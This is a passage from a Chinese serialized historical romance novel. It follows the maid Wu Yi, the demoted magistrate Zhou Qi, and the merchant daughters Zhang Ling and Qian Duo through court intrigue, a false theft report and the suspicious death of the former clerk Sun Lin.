“这么快就换名字了?吴怡,你到底有没有定性?还有啊,你之前不 是要跟钱宁成亲吗?后来为什么不成亲了?还有你不是拿了人家一万两银子要离开徽州吗?你怎么又回来了?” “大人,我跟钱宁,我总觉得怪怪的,我拿人家钱是我不对,我这不帮他们捐给学堂了吗?再说了,现在我欠大人这么多钱,我不得留下还钱啊。” “你欠大人多少钱?” “每个月都欠二两银子,之前我骗他十两银子。” “嘿,我还以为多少呢,我给你。”说着李博站起来,从腰间掏出一张银票,“一百两,够了吧?” “一百两?”吴怡赶紧放开乖乖,站起身来,精湿着两只手,眼睛都瞪大了。 “你还大人十两,每个月给他二两,不对,四两,然后你不就能给他二十二个月呢吗?再说了,你要是自己回家照顾李老四,你也不用给他这么多了啊。” “可是,我不能平白无故拿你银子啊。” “啧,这怎么是平白无故呢?我,那个侍卫,侍卫们现在很重要,他们都去当捕快了,谁来保护周大人?所以啊,你赶紧,拿着银子去将两个侍卫换回来,我这谢谢你了,这是你应得的。” “真的?”吴怡高兴坏了,“李大人,你真是大好人啊。” “没事,都是为了大人嘛。”李博担心周启过来,赶紧将银票塞在吴怡手里,自己走开了,还不忘叮嘱,“小心别弄湿了啊,别说我给你的啊,都是为了大人,只要大人好,你就是大功臣,这就是你应得的。” (本章完) 第一百零九章 吴怡反套路李博 - 风吹繁花散落时 - 红酒羊排 吴怡拿着李博给的银票心里美滋滋的,可是转念一想无功不受禄啊,这李大人为什么给自己一张这么大的银票呢?要是不拿这银票不知道何时才能还上钱回老家,要是拿了又觉得怪怪的。 吴怡将银票收好,又将乖乖洗干净,乖乖开始在院子里疯跑。 娉婷被哥哥拖着出了房门,见一条黑狗在院子里乱窜,心情反而好了一点。 周启不知道的是,娉婷曾经见过这条狗,当时她与陈明阳还互相看不过眼。 “来。”娉婷平时也喂流浪猫狗,对小动物自有一套驯服之策。 乖乖虽然不认识娉婷,但是还是低着身子往娉婷身边爬去。娉婷蹲下,双手开始给乖乖挠痒痒,乖乖十分享受,娉婷也不自觉笑了起来。 周启见妹妹心情稍有好转自然也心生欢喜,抬头见吴怡神神秘秘来到自己身边。 “又想干嘛?” “嘿嘿,周大人,比如说,我说比如说啊,我要是拾金不昧,那是不是应该给我点奖励?” “那要看失主了,人家要是想给你,你拿着就是。” “嘿嘿。”吴怡喜滋滋对李博说:“李大人,你说呢?” “啊?那你要是拾金不昧的却应该奖励你。不过,你嘛……” “不要小瞧人好不好?”吴怡白了一眼李博,旋即又笑呵呵继续说道:“李大人,我刚才看见你掉了一张银票,一百两呢。” 吴怡从腰间掏出银票,当着周启的面展开,“你看,一百两呢。” 李博一看赶紧否认,“这,这应该不是我的吧。” “怎么不是,刚才……” 李博生怕吴怡说是自己给她的,赶紧接过来,“哎哎哎,是啊,我这么一看这的却是我的。哈哈哈。”李博面带尴尬赶紧要接过来。 “哎。”吴怡一闪躲,“李大人,你刚才不说了吗,拾金不昧应该有奖励。” “奖励?哦哦哦,对,奖励是吧,有。那个。”李博尴尬地看着吴怡,周启一直看着李博,娉婷也抱起了乖乖来到近前。“给,我肯定得给你啊。” “太好了!谢谢李大人,那。”吴怡大拇指和食指相互搓着,李博赶紧从兜里掏出一张小银票,“给你。” “嘿嘿。”吴怡刚要接过来,周启就截胡了,“这就当你还我的吧。” “哎,你!” “得,二两银子,那你还欠我八两。”说完周启拿着小银票走了。 这边娉婷将吴怡手中的一百两银票抢了过去,“李博,你就当银子丢了,然后这呀,给这狗狗买些吃的吧。”说完娉婷也拿着银票走了。 吴怡与李博站在原地,相互看了一眼,“我说你这个女人怎么这么笨啊。” “我怎么笨了?好歹我还还钱了呢,哎呀,债少一身轻啊。”说着吴怡得得瑟瑟离开了。 李博双手叉腰,“嘿,合着我这出去一百一十两银子,还啥都没干成?我怎么这么笨呢?” “李大人?” 李博回头一看,又一个麻烦来了。“呦,张小姐,今来晚了呀。” 张灵微微一笑,不急不慢地踱步到李博身边,“周小姐呢?” “呵呵,改变策略了?” “我只想为周大人分忧,别无他意。” “你他意不要太明显。” 张灵正想直接去找娉婷,一眼看见吴怡从屋里出来,下意思小声说了一声,“吴怡。” 李博也看见了吴怡,站在张灵身边斜眼说道:“怎么样?人家比你还着急,都直接住进来了。” 张灵也斜眼看了一眼李博,“李大人,那你还防着我做什么?” “小鬼要防,阎王也要防。” “谁是阎王还不一定呢,李大人,我背后是晋中张家,还有整个商业网络,她身后有什么?” “那得看上边如何看了。”矛盾制造好了,李博悠闲而去。 张灵也发觉周启对吴怡不一般,但是今日有更重要的事情,张灵暂且,放下吴怡,往娉婷屋里去了。 “你是?” 张灵微微一福身子,“周小姐,我是晋中张家的张灵,来了几次也不见你,今儿个好容易见了。” “找我有事吗?” “张小姐,周大人一直担心你,我说找你出去玩玩也好,所以就自作主张来了,周小姐,我不会太唐突了吧。” 娉婷抱着乖乖不说话,翘着退将乖乖放在腿上逗着玩。 “这条狗还挺可爱的呢,是周小姐所养吗?” “大街上捡来的。” 张灵顺势坐了下来,“周小姐真是心善。” 娉婷停止了逗弄乖乖,冷冷对张灵说道:“你想干什么我很清楚,我见过很多像你这样的人。” 张灵一愣,旋即浅浅一笑,“周小姐恐怕是误会什么了,我没觉得我曾经得罪过周小姐啊。” “哼。别说在家了,就是在这徽州,你这种狂蜂烂蝶也多得是,之前的钱朵还不是被我哥当面拒绝了,你觉得自己比她好多少?” “钱朵?” “怎么,我哥没有告诉你吗?看来他也没把你当自己人嘛。” 张灵嘴角上扬站了起来,缓缓说道:“那,朵朵也知道周大人的真实身份吗?” 娉婷瞬间不逗狗了,死死盯着张灵,“谁告诉你的。” “当然是周大人了。” “胡说,我哥为什么告诉你。” “娉婷姐姐不要误会,我当时在街上救了周公子,他当时受了很重的伤,发着高烧什么都告诉我了。还拉着我的手说想好好做好知府,不负皇上圣恩,可是现在……” 张灵不无可惜地看着娉婷,“不过他这个人就是这样,宁可委屈自己,也不会让他亲近之人受到伤害的。” 娉婷的眼神突然黯淡下来。 张灵顺势又坐在了娉婷身边,轻轻拍着她的手说道:“不过娉婷姐姐不必太过忧心,我既然对他一见倾心,自然以我全家之力助他,娉婷姐姐,我一定会好好照顾他的。” 娉婷被张灵说的有些动摇:“真的?” 张灵见自己说的见效了自然放心不少,“那是自然,我张家的生意有一多半是我在打理,爹爹也曾说过,我若出嫁愿分割一半家财作为嫁妆。” 娉婷觉得这不过是大家的美梦而已,任你想的再好,只要皇上一句话,万事皆为妄想。 张灵哪里知道娉婷已经心如死灰,觉得万事皆休,又说道:“娉婷姐姐不必忧心,周大人不同寻常,只要仔细筹谋,定能有一个好的结果。” 娉婷突然冷笑一声,“商家和官家不可同日而语,你们生意人觉得没问题的事情,在我们那里就万万不行。张灵,你不要黄粱一梦,不肯梦醒。” “娉婷姐姐,若是我真心帮五皇子,他必能成就大事,走上至尊之位。娉婷姐姐,五皇子在徽州尽心尽力,却从知府被贬成为知县,等他回京,若是此事被有心人利用宣扬,五皇子在京内如何立足?日后他还怎么继承大统?” 张灵见娉婷眼神暗淡,继续说道:“娉婷姐姐不必自责忧心,我张家虽不比钱家,可我张灵掌管张家一般生意,我若一门心思支持五皇子,五皇子必能成就一番伟业。” “真的?” 张灵笑着点点头,似乎对五皇子志在必得。 娉婷想了想,最终还是点点头。毕竟在娉婷心里哥哥的地位无人可以动摇,如今哥哥被自己所累,若有人能帮他,娉婷自然乐见其成。 张灵心里高兴与娉婷一起逗弄起狗来,她想先收服了娉婷,再弄走吴怡,拿下周启也并非难事,只要拿下了周启,李博自然不敢再说什么,自己这桩大买卖可以一本万利。 当晚,张灵与娉婷建立好关系又来到钱家探钱朵的虚实。“张灵姐姐,你可是有日子没来了。” 小姐妹见面分外亲热,张灵拉着钱朵的手说道:“我最近事多,总想着来看你却不得空,你也不说去我那坐坐。” “瞧你,我听我娘说你干大事呢,我自然不敢打扰你。上次一看你竟办起了学堂,让人好生羡慕。” “上次竟顾着忙着忙那了,也没好生与你说话,今个总算得了空,巴巴地就来了。”两姐妹就坐,张灵继续说道:“不过朵朵,上次我有件事觉得奇怪,总也没问你,不知道该不该问。” 钱朵一边给张灵倒茶,一边说道:“什么事啊?” 张灵接过茶喝了一口,又缓缓说道:“就是那个吴怡,我记得她以前不是你家仆人吗?怎么上次你却好像不认识她似得,一口一个这位小姐的,出手也那么阔绰,好么,我还差点以为她发达了,谁知我在周大人府里见她了,竟还是个丫头子。这事真是让我无法猜透,今个见了你只好向你请教一二。” 钱朵一听吴怡瞬间收敛了笑容,“那个丫头,怪不得当初娉婷姐姐说她最坏,果真如此。” “哦?怎么回事啊?” 钱朵心里一直堵得慌,今日逮到个愿意听自己说话的人自然什么都说了出来,张灵也从钱朵口中听说了一个到处傍大款,谎话连篇,见利忘义的吴怡。“啊?她怎么这样啊?” “就是,当初娉婷姐姐说她最坏了,我还没觉得呢,后来他骗了我哥哥的感情,又敲诈了我爹娘。虽然一万两银子对于我们钱家来说不算什么,可是对她这种丫头子就是赚上一辈子也赚不到。” “那她为什么给捐了呢?” “说这个我就更来气了!你没看见周大人偏袒她了吗?还人之初呢,还不是为了接近周大人吗?哎对了,张灵姐姐,你和周大人最近走得很近吧?” “啊?那倒没有,不过为了给张家挣点名声,偶尔得知他要建学堂,本来想着这是好事便来告诉钱伯伯,可是不知为什么钱伯伯开始却不愿意,后来又不知道为什么又捐出别院,为了这事我还挺不好意思,要是我能说服周大人就好了,可是毕竟人家是官,我们商人终究没有地位。” “还说呢,当时我爹娘正在处理吴怡的事情,被她气的脑子不太清楚了,要不这么好的事情怎么可能硬生生错过了呢!” “这么说这个吴怡的确可恶。” “就是啊,也不知道周大人什么眼光,倒是看上她了。” “周大人?我看周大人不像是糊涂人,会不会被人利用了。” “被利用?就凭吴怡吗?” “你不知道,我因着学堂的事情与周大人也走动了几次,每次去周大人都要说吴怡怎么怎么好。就是学堂开办那天,原本哪有她什么事情,最后她突然冲出来还好一顿慷慨激昂,弄得这学堂是她提议一般,不过捐了一万两银子,在人家看来就好像都是她捐一样,就是这别院就得值个万把两啊,谁知竟叫她抢去了风头,我看她啊,心思深沉的很,唉,可怜周大人被她蒙蔽,以为她是什么好人。” “就是,张灵姐姐,你说男人是不是都这样,看着那些会装的人就心生可怜。吴怡,哼,她这种一直在江湖上飘的心机都重的很,我们怎么能比得过呢。” “唉,是啊,就是不知道以后谁会嫁给周大人呢?毕竟周大人的人品还是很好的。” “是啊,”钱朵嘟着嘴,又觉得吴怡实在太可恶。 张灵继续说道:“朵朵,要说周大人现在被贬官成了知县,可我觉得他还是不错的,就说在你们钱家被陷害的事情上吧,他还是很能拎得清的。若是这样的人不得升迁,那我们大周的官场还真是堪忧了,所以依我看,周大人必会再次成为知府的。” “你知道吗?我爹也这样说,他说周大人必会重新升迁,甚至成为封疆大吏也是迟早的事情。我爹在商场这么多年,看人还是很准的。” “是啊,不过你没听说吗?要是在男人落魄之时能有人陪在他身边,他比会一辈子感念,不过呢,现在陪在周大人身边的就只有那个吴怡,唉,真是暴殄天物啊。” 第一百一十章 钱朵报案 - 风吹繁花散落时 - 红酒羊排 张灵与钱朵“推心置腹”聊了一晚,第二天一早便告辞回家。 钱朵一晚上都没有睡好,她想起在黄山的路上第一次看见周启,风度翩翩少年郎说的肯定就是他。不管他是知府还是知县,他就是他,是那个一个笑容就让自己沉沦的他。 钱朵又想起吴怡,曾经她还傻傻地相信吴怡,让她帮自己传话,帮自己去看周大人怎么样了。 这么想着,钱朵甚至讨厌起自己来,觉得自己太笨了,要是能早点发现吴怡的狼子野心也许不会给她机会让她如此接近周大人。 天亮之时,张灵已经起身,而钱朵假装自己还在睡着,直到张灵离开。 钱朵在床上辗转反侧,她决定了,她不能允许周大人被吴怡欺骗!钱朵想在周大人困顿之时陪在他身边,而且那个陪在他身边的只能是钱朵! 这么想着,钱朵收拾停当准备往知县衙门而去。 此时的知县衙门里,周启正在安排工作。“孙林呢?” “回大人,孙林还没有来。” “本官给他十天时间,他从第二天开始就不来了,如今都第三天了,想必以他的本事是找到好差事了?” “大人。”此时以前的捕头王光站了出来,“昨天巡逻之时,兄弟们看见他在酒馆喝酒,足有一天都没有离开。” “喝酒?哼。那你们说说,按照我大周例律,属员任上醉酒,该如何处置啊?” “大人,要不,要不我派人去看看吧。”李博知道醉酒自是罪责难逃,可是孙林刚刚被辞退,心情不好也是有的。正说着,外边进来一个侍卫,回禀说接到报案,有人横尸街头。 “可知道是什么人啊?” “回大人,是,是孙林。” 此言一出,所有人都震惊了,李博率先发问,“说清楚点!” “回大人,今早一早起出摊的小商贩看见一人倒在自己一直所在的摊位上,他原本以为不过是醉汉醉酒,可是他拍了半天那人不见反应,小商贩便自行将人翻转过来。只见他脸色惨白,小商贩见那人已经死去多时,气息全无,小商贩赶紧报案。衙役们到现场一看,觉得眼熟,再次确认发现确是孙林。” 周启听后问道:“如何死亡?” “回大人,仵作看后认为是醉酒后,呕吐物致使窒息,也就是意外死亡。” “意外?” “回大人,仵作说应该是意外的可能性更高一些。” “李博。” “大人?” “昨天本官说想询问他点情况,今天早晨他就死了?你觉得这是意外吗?” “大人,我马上去查。” 周启觉得事情绝不会这么简单,他在宫中时间长了,这么巧的意外绝不会是意外!孙林看上去的正常根本就是不正常!他绝不会被表象所迷魂! 钱朵正往衙门而来,见李博带着一队衙役匆匆而过,钱朵知道肯定是出事了,她最担心周启,便紧走两步来到县衙。 “堂下何人?” 钱朵被周启的语气吓了一跳,“周大人。” “何事?” “我……” “钱朵,你可知道擅闯公堂是何罪呀?” “我……”钱朵一下子慌了,刚才是担心周启出事一下子就忘记了礼仪和规矩,“我,我。”钱朵见周启神情肃穆,又看了一下周围,衙役们全都拿着水火棍看着自己,钱朵赶紧说道:“我来报案的。” 周启一拍惊堂木,“升堂。” 衙役们高喊:“威武。” 钱朵缓缓跪在堂上,试探着说道:“周大人,小民是徽州钱家的钱朵,今天前来报案。” “你要状告何人?” “回大人,我,我也不知道。”周启一拍惊堂木,钱朵再次被吓了一跳,赶紧解释道:“我东西丢了,我,我也不知道是谁偷的。” “丢失何物?” “回大人,镯子,一个镯子,是白玉的,很珍贵的。” 周启快速看了一眼钱朵,对着衙役说道:“陈凡。” “小的在。” “你前去查看。” “是!”陈凡拿着水火棍站在钱朵身边,钱朵缓缓站起来,她还是第一次撒这么大的慌,她看着周启,见他不过像一般县太爷一样坐在堂上,钱朵心下有些害怕,大气都不敢出,跟着衙役出了县衙。“嗯,那个……” “钱朵小姐?” “我,我就是想问问,刚才我看见一队衙役出去了,还看见李大人急匆匆的,是不是出了什么事?” “与钱小姐丢失的镯子有关系吗?” “我,我就是关心周大人而已,况且了,我也是歙县子民,万一歙县出了什么大案,我也不得安生啊。” “放心吧,钱小姐在深宅大院,就算这歙县出了什么惊天大案也不会影响钱小姐的。现在最紧要的,还是赶紧去钱小姐那里看看到底是什么丢失了,好尽快锁定嫌疑人,物归原主。” 钱朵听衙役这么说,有点生气,便挺直了身子,“我见过你,你以前不就是周大人的侍卫吗?” 侍卫一抱拳,“不错。” “侍卫?按照我大周例律,私养死侍是什么罪名?” “这么说钱小姐是打算去上峰那里揭发周大人了?” “那自然不会,只是侍卫不过就是下人。”钱朵说这话已经十分重了,“周大人让你当侍卫你就当侍卫,让你当衙役你就当衙役,没什么好说的。” “是,小的在大人面前的确是下人。” “知道就好!”钱朵趾高气扬走在前边,一路回到钱家,钱万全听说钱朵带回来一个衙役以为出了什么了不得的大事,赶紧过来查看。只见衙役在钱朵房间左右张望,前前后后里里外外都查看一番。 “怎么了?”钱万全来到钱朵身边,“朵朵,这是怎么了?” “哦,我,我镯子丢了,这个差官过来帮我找找。” “镯子?什么镯子?” “嗯……就是我那个白玉的镯子,就是我生辰的时候别人送我的那个,特别通透,一点杂质都没有的,我还特别喜欢的。” “一个镯子而已,你若喜欢爹再帮你买一个好了。”钱万全走到陈凡身边,“这位差官,一个镯子而已不应该劳烦大人,还是不要找了吧?” “那可不行啊,你们大小姐报案了,我们老爷前两天可说了,像这种小案子不能放任不管,毕竟关系百姓,一定要认真查办才行。” 钱万全看了一眼钱朵,“报案?不过一个镯子,干嘛如此兴师动众?” “我,我就是很喜欢那个镯子,虽然我知道咱们家必然买得起,可是要是能找出来不是更好一点嘛。” 钱万全觉得钱朵十分奇怪,当着官差的面又不好说什么,“哦,那倒也是。” 钱万全十分紧张地看着陈凡,这种丢失物件的案子怎么可能破呢?这府上这么多人,就是钱朵是闺阁之人,她这个房间每天少说也得有十多人进进出出,要是有人偷偷进来顺走了一个镯子也是可能的,这要是能找到那才奇怪了。 果真,陈凡翻看半天,又询问了一应下人,也觉得毫无头绪。 说起来陈凡也是豪门贵公子,为了日后升迁容易才进宫做了侍卫,哪里会办案子,他也明白小人监守自盗或是小姐一时忘记了放在哪里都有可能,他家里的妹子就是糊里糊涂,什么东西都丢。 陈凡询问了一应人等均无所收获,“来人,将所有东西都搬出去。” “等等,这位差官,这不合适吧?”钱万全赶紧阻止,毕竟钱朵这么大的姑娘了,当着所有人的面将东西都翻腾出来查看实在不妥。 “钱老板,你女儿丢了东西,本……衙役认为许是钱朵小姐放在哪里忘记了,所以现在将所有东西都搬出去,必能找到。” 钱朵一下子火了,她不过随意说说,那镯子之前自己不小心给打破了,早就命人给丢掉了。 知道内情的下人见钱朵要找,差官又来了,谁都不敢胡说,钱朵以为找不到也就回去了,谁知他竟想出这样的办法。 “你叫陈凡是吧?陈凡,本小姐不想找了,你回去吧。” “不找了?”陈凡上下打量钱朵,若在京城自己又怎会受商人之女的气呢,如今不能亮出身份,但是男儿大丈夫怎可轻易别人折辱,“那可不行,钱小姐不说了吗,我就是一个下人,我怎么能做主呢?大人叫我查,我自当尽力查清案情,必定会将镯子找出来还给钱小姐。” 陈凡看着一众人等,“给我搬!” 所有人都看着钱万全,钱万全不说话,所有人都不敢动,陈凡可不容许他们如此,“呦,看来你们是要阻碍官差查案了?” “哎呦这位差官。” “闭嘴!叫你的人马上给我把里边所有的东西都搬出来,如若不然,钱朵,你无事告官又阻挠办案,我看你这个小身板,我怕你吃不起!” 钱朵心中自然害怕,但是愤怒更胜一筹,“你!我说我不找了!一个镯子,我钱家还买得起。” “你钱家有钱,但是我是官府办案,你再有钱也是你的,我办案奉的是知县之令,知县办案遵的是大周律令!大周律令,谁敢不遵!” 钱万全听衙役这话,一时不敢分辨,只好命人将所有东西搬出,自然没有找到镯子,陈凡回县衙复命,周启也不追究,他隐隐觉得钱朵报案另有隐情,想等钱朵自己采取下一步行动。 钱朵受此大辱,想了半天觉得都是吴怡不好,若她没有迷惑了周大人,周大人断不会当面拒绝了自己,更不会让她如此难堪。 第一百一十一章 吴怡牵扯命案 - 风吹繁花散落时 - 红酒羊排 再说李博带着人到了义庄,孙林躺在床上,身体早就凉了。仵作过来汇报情况,证实孙林确系呕吐物窒息而亡。“在哪里发现的他?” 接到报案的衙役站了出来,“回大人,有何酒馆向东三十米。” “那离县衙很近啊。” “回大人,有何酒馆向南一百五十多米就是县衙,昨天兄弟们跟着王光巡逻,的确看见孙林在有何酒馆喝酒,巡逻回来的时候他还在。” “那他就是你们巡逻回来到今天早晨之间死的。走去有何酒馆。” 一队人急急来到酒馆,这酒馆不同其他餐馆,老板刚刚要开业正在拆板。“你家老板呢?” “这位差官,小老儿就是这家店的老板,我这是门小生意,店小二是我儿子,敢问大人是有什么事吗?” “我是歙县师爷,昨天以前的师爷孙林是不是在你这里喝酒啊?“ “是啊,他经常来我这里喝酒,只是昨天他喝了足有一天,我看他不太清醒了,原本想叫我儿子送他回去,可是他说不用,店里又上了客人,我们就没再管他,后来他自己走了。这位老爷,不知道他是……” “他昨天在你这除了喝酒,有没有什么反常?” “反常?嘿,这孙林啊向来沉默寡言,也少与人交往,他只是喝酒,并无什么反常。” “那可有人与他闲谈?遇到什么人了没有?” “这位老爷,小店只有我和我儿子两个人支应,若说他也可能遇到什么人,可是小老儿是没有瞧见。” “那你儿子呢?” “哦,等会啊。”酒馆老板向屋里大喊一声:“刚啊,刚,你昨天看见孙林和谁说什么了没有啊。” 何刚在店里正在打酒,也不出来,只大喊一声,“没有。” 老板对着李博微微点头,“你看,没有。” “那孙林是何时离开酒馆?” “申时吧,应该不到酉时。” “好,叨扰了。”李博转身对着侍卫们说道:“马上排查,申时要过不到酉时的时候,从这到孙林死亡之地,看看都谁见过孙林,说过什么。” “是。”衙役们得令,开始挨家挨户询问,不过短短三十米的距离,随时早上,很多小商贩已经出摊了,询问起来也算便利。 才一会儿功夫,所有衙役皆已回来,“大人,昨天有人看见他从酒馆出来与一女人说了一会儿话,后来那女人将他安置在路旁自己走了,再后来孙林就躺在了地上,商贩们离开的时候见他还躺在地上。” “什么人看见的?一个人在地上躺了那么久,居然没人报官,也都不看看的吗?” 衙役一愣,赶紧说道:“大人,他们都是小商小贩,这街离酒馆又这么近,喝多的人大有人在,实在是管不过来。” 李博觉得有火也发不出,便又询问道:“那那个女人有人认识吗?” “大人,小的已经请画师前来,马上就能知道了。” “好,画出来了全城寻找,我一定要知道他们说了什么。”李博就坐在酒馆里等,过了半个时辰,衙役拿到画像不敢耽搁赶紧交给李博。 “大人,你看这……” 李博见衙役形色有异,赶紧接过画像一看,竟是吴怡。“怎么是吴怡?” “画师画完给那商贩看了,他说一点不错,正是这人。” “走。”李博拿着画像回衙门,还没进门就喊道:“吴怡,吴怡。” 吴怡正帮娉婷搭秋千,听见有人喊自己赶紧答应。李博着急,上来就问:“你昨天看见孙林了?” “什么孙林?” “就是之前那个师爷。” “我不认识什么师爷呀。” “胡说!”李博将画像提给吴怡,“你看看,这不是你吗?昨天有人看见你和孙林说话,还将他放在了路边。” “路边?”吴怡接过自己的画像,看着自己长得也算周正,“这是我呀。哦对了,昨天有个人喝多了,我把他放在路边让他醒醒酒,怎么了?” “这么说你不认识他?” “不认识啊。” “那他都跟你说什么了?” “说什么?嘿,就是喝多了,胡说的一些,嗯…说什么来的。”吴怡想了半天,那人说什么来的? 李博着急了,“哎呀,你赶紧想想。” “嗯……他说他没喝醉。还有,哎呀就是说他没喝醉。” 李博一看吴怡就是不靠谱,关键时刻什么都不记得。“成了成了,我看你这辈子就是给人家当当丫鬟算了。” “嘿。”吴怡白了李博一眼,继续搭秋千,“当丫鬟有什么不好,你们这些当大人的就好嘛?我看你们天天愁眉不展的,一件事接着一件事,这就好了吗?” “你又胡说什么呢?”周启不知从何处走来。 吴怡撅着嘴,李博也不言语。 “吴怡,我们为官一任,为百姓,为江山社稷,责无旁贷。” 吴怡搭着秋千说道:“你想为了大周,皇上老子可不这么想,你都从知府变知县了。你想为了百姓,百姓躲在你们背后骂你们的多了,你们就是没听见。” 周启知道吴怡说的是事实,可是他就算受了委屈又能怎样,他从小学的就是民族大义,家里的长辈们也为了大周多有牺牲,自己不过被贬官,被不明真相的群众骂了两句,又算得了什么呢。 “本官行的端做得正就行了,对得起天地良心。” 吴怡才不明白他这是道理呢,她只想过好今天,能有一天与李老四不再给别人做工,别的她可管不了。吴怡听李博汇报孙林的情况,“他怎么死了。” “仵作说被呕吐物呛死了,不过吴怡,昨天可是你把他放路边了。” “李博!”周启大声呵斥李博,李博赶紧站好偷看了一眼吴怡,吴怡却心里一沉,昨天的确是自己把孙林放在路边的。“吴怡。” “啊?” “你好好想想昨天孙林说什么了,这很重要。” “哦,好。”吴怡一边搭秋千一边想,周启对李博吩咐道:“我昨天叫你查孙林的情况,你现在带人再仔细调查一番,他以前那个妻子和孩子去哪了,我都要知道,还有他为什么老去庙里,求些什么,我都要知道。” 此时钱朵在家中心烦意乱,张灵再次前来安慰。“朵朵啊,都怪我不好,我昨天要是不提周大人就好了。” 张灵从袖口拿出一只白玉镯子,“朵朵,这只镯子还是我爹去回纥做生意时候给我带回来的,我一个跑生意的也不怎么带,不如送你吧。” 张灵见钱朵不说话,再次说道:“朵朵,都是我不好,若是你不肯收,我这心里总觉得不落忍,都是我不好,我,我以后都没脸再来了。” 钱朵听了这话,将镯子接了过去,“张灵姐姐,要不是那个吴怡,我怎么会受如此大辱。” 张灵乍听这话先是楞了一下,随后赶紧说道:“算了朵朵,定是周大人看见你在学堂开办上故意为难她,这才为那个丫头出了气,我们女孩子怎么与男人抗衡,我们商家又怎么敢惹管家呢。那个吴怡现在榜上了周大人,哪里是我们能动的了的,我看你啊,就咽了这口气,算了吧。” “不成!”钱朵激动地站了起来,“吴怡,不过一个丫头子,开始骗我哥,后来骗我爹娘,如今都欺负到我头上去了!真以为我们钱家没人吗?不行,我一定要让她知道,这徽州城里可不是她能说了算的。” 张灵也站起来,继续劝道:“朵朵,可是你在这深宅大院的,她在县衙里,你能把她怎么着?” “哼。”钱朵咬牙切齿,“张灵姐姐,你最近不是老去县衙吗?我能不能帮我看看那丫头平时在干什么呢?都什么时候出来?” 张灵故作为难,“这,朵朵。” “张灵姐姐,你也说周大人是好官对不对,咱们作为徽州百姓可不能让她一个山东丫头给欺负了,咱们还是要揭穿她的真面目!” 张灵犹豫再三,好像下了很大决心是的,“那成,为了徽州,我就去帮你探听一下。” 钱朵终于笑了,重重地点头,“恩!” 张灵从钱朵房间出来,正看见钱宁在廊下看书,便紧走两步,“钱宁。” 钱宁抬头看见张灵,微微一笑,“可是有日子没见了。” “是啊,看什么呢?”张灵坐在钱宁身边,见钱宁正看三字经,钱宁尴尬地想将书收起来,又觉得太刻意,张灵笑道:“怎么,要学而时习之吗?” 钱宁只笑笑没有接话,“哦对了,周大人如何?” “我和他也不是太熟,怎么都来问我呢?” “哦,也没什么,只是随便问问。唉,人有旦夕祸福,官场上的事情谁也说不清楚,只是可惜了。” “可惜?我倒觉得没什么。”张灵想他一个皇子,偶尔失宠也是有的,做生意还有赔有赚,甚至她觉得这是老天再给自己机会,让她好有机可趁。“不过钱宁……” “怎么了?” “嗯……我在县衙看见吴怡了,我们做商人最懂得权衡利弊,揣测人心,我一直不太懂为什么吴怡拿了伯伯、伯母那么多银子要离开你,最后却捐给了学堂,为什么她明明可以当少奶奶却最终选择去给周大人当丫鬟。唉,也许人毕竟不同,只是我实在无法明白。” 第一百一十二章 张灵陷害吴怡 - 风吹繁花散落时 - 红酒羊排 听了张灵的话,钱宁的眼神暗淡下来,“是啊,天下之大人各不同,若是我能想明白就好了。” 张灵看着钱宁,见他低着头不说话,张灵想安慰几句,可是终归没有说什么。 她与钱宁也算是两小无猜,小时候住在钱家,都是钱宁照顾她,这才让大人们存了结个儿女亲家的心思。 只是后来两人都长大了,各自跑生意,感情也淡了。 尤其张灵希望在商场上开疆拓土,而钱家则想以守为攻,商场上的理念不合导致张灵无法在与钱宁携手了,但是曾经的兄妹之情还在,张灵不想伤害钱宁。 “张灵。” “嗯?” “若你见到吴怡,你告诉她,若是她以后有任何困难都可以来找我,我永远视她为朋友。” 张灵一时语塞,她觉得心情复杂,她近年来攻于算计,所有事情都要权衡利弊,如今看见钱宁对吴怡纯粹的感情让她动容,张灵最终说道:“人家未必领情呢。” “那是她的事,我只想她好。” “那好吧,我一定转达。”说完,张灵便出了钱家,一路来到县衙。 吴怡终于搭好了秋千,张灵站在旁边看着,她看出吴怡好像不太高兴的样子。 张灵手把着秋千,传达了钱宁的话。 吴怡听后呜呜哭了起来。 张灵拍着吴怡的肩膀,“吴怡,钱宁就是这样,他认定的人,他一辈子都会对你好的。” “张小姐。”吴怡泪眼婆娑,“你说我是不是很坏,是我伤了钱宁的心。” “唉。”张灵抱着吴怡说道:“感情的事情谁又能说清呢。就好比钱朵喜欢周大人,可是周大人就是看不上钱朵,她也没法,日日在家里哭呢。” 吴怡抽搭道:“钱小姐还没有死心吗?” “若是这么容易死心就好了,看来她是动了真感情了。刚才我见钱宁,他也是忧心忡忡,他说若是谁能帮钱朵获得周大人青睐,他做什么都愿意的。” 吴怡听了这话,想想钱朵之前对自己凶巴巴的都是因为自己不好,其实钱朵还是很好的,钱宁也是好的,自己欠了钱家这么大的人情,不如自己撮合撮合周大人和钱朵呢? “那,周大人不喜欢钱小姐,我要是撮合他们,怎么才能行呢?” “撮合人还不好办吗?故意制造一些偶遇啊,告诉彼此大家喜欢什么啊,诸如此类的。” “哦,那,张小姐,我来撮合周大人和钱小姐,你可一定要帮我保密啊。” “你真的要撮合啊?我也希望朵朵好,那好吧,我来帮你好了。若是成了,咱们就找周大人和朵朵要一个媒人红包。” “媒人还有红包啊?” “那是,要是给小了,我还不答应呢。”两人商量好了,分开行动,去找周启和钱朵打算制造偶遇。 吴怡趴在门上看周启正坐立不安,吴怡觉得这个时候进去可不是好时机,周启却看见了吴怡,“有事就说,没事出去。” “周大人。”吴怡倚在门上想了想,“你说要是我昨天把孙林送回家了,他会不会就不会死。” 周启看了一眼吴怡,他现在觉得孙林的死可能另有隐情,甚至是因为自己要追查才导致了孙林的死亡。“仵作说是意外。” “我不该把他放在路边。” “那是他自己喝多了,与你何干。” “大人,要是你不把他开除了,也许他不会去喝酒呢,或者不会喝一天酒,那他就不会死了。” 周启简直被吴怡气死当场,“没事出去!” “别呀,周大人,我知道你肯定很自责吧,不过这也没有办法,人死不能复生。周大人,要不咱们一起去庙里给孙林上柱香,超度一下他。” “去什么庙……去庙里?”周启差点发火,但是想起李博说孙林每隔十天去一次庙里还将所有积蓄都花在了香火钱上便突然冷静下来,而李博前去调查一无所获,周启便打算自己去看看。 “去庙里也行,什么时候去呢?” “明天吧,明天你从衙门回来,咱们就去。” “好吧,你准备准备。” “准备什么?” “去庙里不得准备……”周启曾经去庙里可都是声势浩大,前呼后拥,准备工作也要好几天,周启看着吴怡,见她一脸懵的样子,“算了,明天我找你然后就去。” 第二天两人一起出发,张灵得到消息提早来到庙里进香,而钱朵得到的消息是半个时辰后。 周启与吴怡并肩走进庙里,因是早晨,香客极少,“我去找主持,你随便看看吧。” “嗯?不上香啊?” 